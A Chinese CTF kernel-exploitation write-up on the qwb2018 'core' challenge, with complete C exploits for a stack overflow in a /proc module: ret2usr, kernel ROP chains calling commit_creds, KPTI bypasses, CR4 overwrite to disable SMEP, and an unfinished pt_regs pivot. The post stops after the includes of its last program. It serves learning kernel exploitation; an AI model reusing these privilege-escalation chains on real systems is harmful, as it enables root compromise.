CTF-PWN-kernel-栈溢出(retuser rop pt_regs ret2dir)

news2024/11/15 21:43:20

文章目录

  • 参考
  • qwb2018 core
  • 检查
  • 逆向
  • 调试
  • 打包上传测试脚本
  • retuser
  • kernel rop
    • init_cred
    • commit_creds( prepare_kernel_cred(0) )
    • 开启KPTI利用swapgs_restore_regs_and_return_to_usermode
    • 开启KPTI利用SIGSEGV
    • rop设置CR3寄存器再按照没有KPTI返回
  • kernel rop + ret2user
  • pt_regs 构造 kernel ROP
  • ret2dir

参考

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4hri%3DdeY5GOKweD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#5-kernel-%E7%9A%84-UAF-%E5%88%A9%E7%94%A8
https://blog.csdn.net/qq_45323960/article/details/130660417?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171982506416800211525431%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=171982506416800211525431&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-2-130660417-null-null.nonecase&utm_term=kernel&spm=1018.2226.3001.4450

qwb2018 core

检查

在这里插入图片描述

逆向

  • 调用proc_create函数来创建一个新的proc文件系统条目
  • &core_fops是一个指向file_operations结构体的指针,这个结构体定义了文件操作函数,比如打开、读取、写入等。

在这里插入图片描述
在这里插入图片描述core_copy_func存在栈溢出,将可以将name的63个字节复制到栈上的v2数组

在这里插入图片描述
name是内核的数据,可以通过core_write将用户数据复制到name
在这里插入图片描述

调试

记得设置root,否则看不了
在这里插入图片描述
然后关闭kalsr,方便下断点
在这里插入图片描述
查看模块相关段和内核中存在的符号函数

在这里插入图片描述

打包上传测试脚本

#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit fs/
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh

在没有开启SMAP/SMEP的情况下,可以使用ret2usr,直接在内核态访问用户态的代码并执行。
PS: 在使用ret2usr进行提取时,切记不要使用库函数(会引起系统调用导致内核panic)

retuser

就是在内核态执行的时候往内核态的栈中写入用户程序的返回地址,然后跳转到用户代码执行,然后执行用户程序定义的函数,期间提权并模拟返回用户态的过程
rip是切换到内核态时候最后压入的,iretq通过pop恢复各个寄存器,顺序从rip到ss
在这里插入图片描述
返回地址变为用户态的代码,并执行commit_creds(prepare_kernel_cred(0));
在这里插入图片描述
切换到用户态
在这里插入图片描述

iretq此时栈中为之前设置的结构体
在这里插入图片描述
通过恢复rip跳转到getshell函数
在这里插入图片描述
提权成功
在这里插入图片描述

__attribute__((packed))这是GCC编译器的一个扩展属性,用于告诉编译器在打包结构体成员时不要添加任何填充(padding)。通常,编译器会在结构体成员之间添加填充字节来保证数据对齐,这可能会导致结构体的大小增加。
使用packed属性可以确保trap_frame结构体的布局在内存中紧凑,每个成员紧跟前一个成员,没有额外的填充。

  1. #define KERNCALL __attribute__((regparm(3))):

    • 这是一个宏定义,KERNCALL 被定义为使用 GCC 编译器的 regparm 属性,该属性指定函数的参数通过寄存器传递。
    • regparm(3) 表示函数的前三个参数将通过寄存器传递,而不是通过栈。这有助于减少函数调用的开销,提高性能。
  2. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;:

    • 这行代码定义了一个名为 prepare_kernel_cred 的函数指针,它指向一个接受一个 void 指针参数并且返回一个 void 指针的函数。
    • KERNCALL 是上面定义的宏,它指定了函数调用约定,即参数通过寄存器传递。
    • = (void *) 0xFFFFFFFF8109CCE0; 这行代码将 prepare_kernel_cred 指针初始化为一个特定的内存地址。这个地址是硬编码的,可能指向内核中负责准备(设置)用户凭证的函数。
  3. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;:

    • 这行代码与上一行类似,定义了另一个函数指针 commit_creds,它也指向一个接受和返回 void 指针的函数。
    • 同样使用 KERNCALL 宏来指定函数调用约定。
    • = (void *) 0xFFFFFFFF8109C8E0;commit_creds 指针初始化为另一个特定的内存地址。这个地址指向内核中负责提交(更改)当前任务凭证的函数。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;

void get_shell() { system("/bin/sh"); }


struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;

void save_status() {
    asm(
            "movq %%cs, %0\n\t"
            "movq %%ss, %1\n\t"
            "movq %%rsp, %2\n\t"
            "pushfq\n\t"
            "popq %3\n\t"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
            :
            : "memory");
    tf.user_rip = (size_t) get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1008;
    tf.user_ss = user_ss;
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
    asm volatile (
        "swapgs;"             // 交换GS寄存器的基地址
        "movq %0, %%rsp;"     // 将tf_addr的值移动到栈指针
        "iretq;"               // 从中断或异常返回
        :: "r" (tf_addr)      // 输入操作数列表,tf_addr作为输入
        : "memory"            // 指示汇编代码可能修改内存
    );
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    rebase();
    save_status();
    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }
    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);
    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(void **) &buf[80] = get_root;
    core_write(buf, sizeof(buf));
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
    return 0;
}

通过溢出执行用户代码,然后从而完成提权和切换到用户态操作

kernel rop

开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据或者跳转到用户空间的代码执行。
利用 ROP ,在内核中执行 commit_creds(prepare_kernel_cred(0))完成提权 , 然后 iret 返回用户空间再执行getshell函数

init_cred

可以找到init_cred作为参数,然后直接commit_creds,不需要prepare_creds
在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

commit_creds( prepare_kernel_cred(0) )

这里prepare_kernel_cred(0)执行后需要执行mov rdi, rax; ret但没有合适的,参考sky佬使用pop rdx; ret; mov rdi,rax; call rdx但pop后rdx是pop rcx; ret; call rdx那么就相当于ret了

在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

开启KPTI利用swapgs_restore_regs_and_return_to_usermode

https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
在这里插入图片描述
在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。

有一种比较懒惰的方法就是利用swapgs_restore_regs_and_return_to_usermode这个函数返回:

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode找到它在内核地址
swapgs_restore_regs_and_return_to_usermode的代码如下
在这里插入图片描述
跳过前面的pop指令也可以返回到用户态即程序流程控制到 mov rdi, rsp 指令,栈布局如下就行,具体原因调试即可

rsp  ---->  mov_rdi_rsp
            0
            0
            rip
            cs
            rflags
            rsp
            ss

在这里插入图片描述

进入内核前的CR3
在这里插入图片描述
进入内核后的CR3
在这里插入图片描述
开始执行用户态的代码时会出现page_fault
在这里插入图片描述在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;

    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

开启KPTI利用SIGSEGV

如果找不到 swapgs_restore_regs_and_return_to_usermode 则可以为 SIGSEGV 先注册异常处理函数 get_shell ,然后按照没有 kpti 的方式返回用户态。触发段错误异常后自动完成用户态的返回。

signal(SIGSEGV, get_shell); 这行代码的作用是设置一个信号处理函数,当进程遇到SIGSEGV(分段违例)信号时,将会调用get_shell函数。SIGSEGV信号通常在程序试图访问非法内存地址时由操作系统发送,例如尝试读取或写入不存在的内存位置。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>

size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_popfq_ret = 0xffffffff81a012da;

void get_shell() {
    system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            iretq += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            swapgs_popfq_ret += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();
    signal(SIGSEGV, get_shell);

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;

    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = 0x12345678;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

rop设置CR3寄存器再按照没有KPTI返回

另一种在kernel提权返回用户态的时候绕过kpti的方法就是利用内核映像中现有的gadget

mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

来设置CR3寄存器,并按照iretq/sysret 的需求构造内容,再返回就OK了。

kernel rop + ret2user

先利用 rop 的mov设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。这样也可以绕过 smap 和 smep

在这里插入图片描述
此时开启
在这里插入图片描述
通过pop 然后mov设置cr4
在这里插入图片描述
然后可以直接跳转到用户态代码执行
在这里插入图片描述
用户态代码再执行commit_creds(prepare_kernel_cred(0))或者commit_creds(init_cred),然后再返回到用户态再跳转到system("/bin/sh");

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;

void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;

void get_shell() { system("/bin/sh"); }

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_root() {
//    commit_creds(init_cred);
    commit_creds(prepare_kernel_cred(0));
}

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds = (void *) ((size_t) commit_creds + offset);
            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
            init_cred = (void *) ((size_t) init_cred + offset);
            pop_rdi_ret += offset;
            pop_rdx_ret += offset;
            pop_rcx_ret += offset;
            mov_rdi_rax_call_rdx += offset;
            swapgs_popfq_ret += offset;
            iretq += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

int main() {
    save_status();
    rebase();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;

    size_t *rop = (size_t *) &buf[80], it = 0;


    rop[it++] = pop_rdi_ret;
    rop[it++] = 0x00000000000006f0;
    rop[it++] = mov_cr4_rdi_ret;
    rop[it++] = (size_t) get_root;
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;

    core_write(buf, sizeof(buf));

    core_copy_func(0xffffffffffff0000 | sizeof(buf));

    return 0;
}

pt_regs 构造 kernel ROP

如果限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。可以通过 pt_regs 上构造 rop 。

系统调用syscall会进入到 entry_SYSCALL_64,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15; //低地址
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss; //高地址
/* top of stack page */
};

由于内核栈只有一页大小,只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 然后通过push进去的设置号的寄存器内容便能够完成 ROP

当前rsp距离pt_regs 的偏移在这里插入图片描述
pt_regs 总共0xa8大小
在这里插入图片描述
另外值得注意的是 pt_regs 中对应 r11 和 rcx 的位置分别被写入了 eflags 和返回地址(设置的是system(“/bin/sh”)),不受我们控制。
通过add rsp, value或者pop使得rsp到达pt_regs 如add rsp,0xc8 pop rbx pop rbp pop r12 pop r13 ret可以实现增加0xe8的效果

在这里插入图片描述
所以在溢出之前将寄存器设置好,利用系统调用在栈底部压入的内容作为等会迁移后的rop,然后溢出执行调整rsp的gadget,然后通过之前设置好的寄存器进行rop
这里使用swapgs_restore_regs_and_return_to_usermode来切换回用户态,需要调整偏移,使得最后能够返回到原来的返回地址上system("/bin/sh")

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

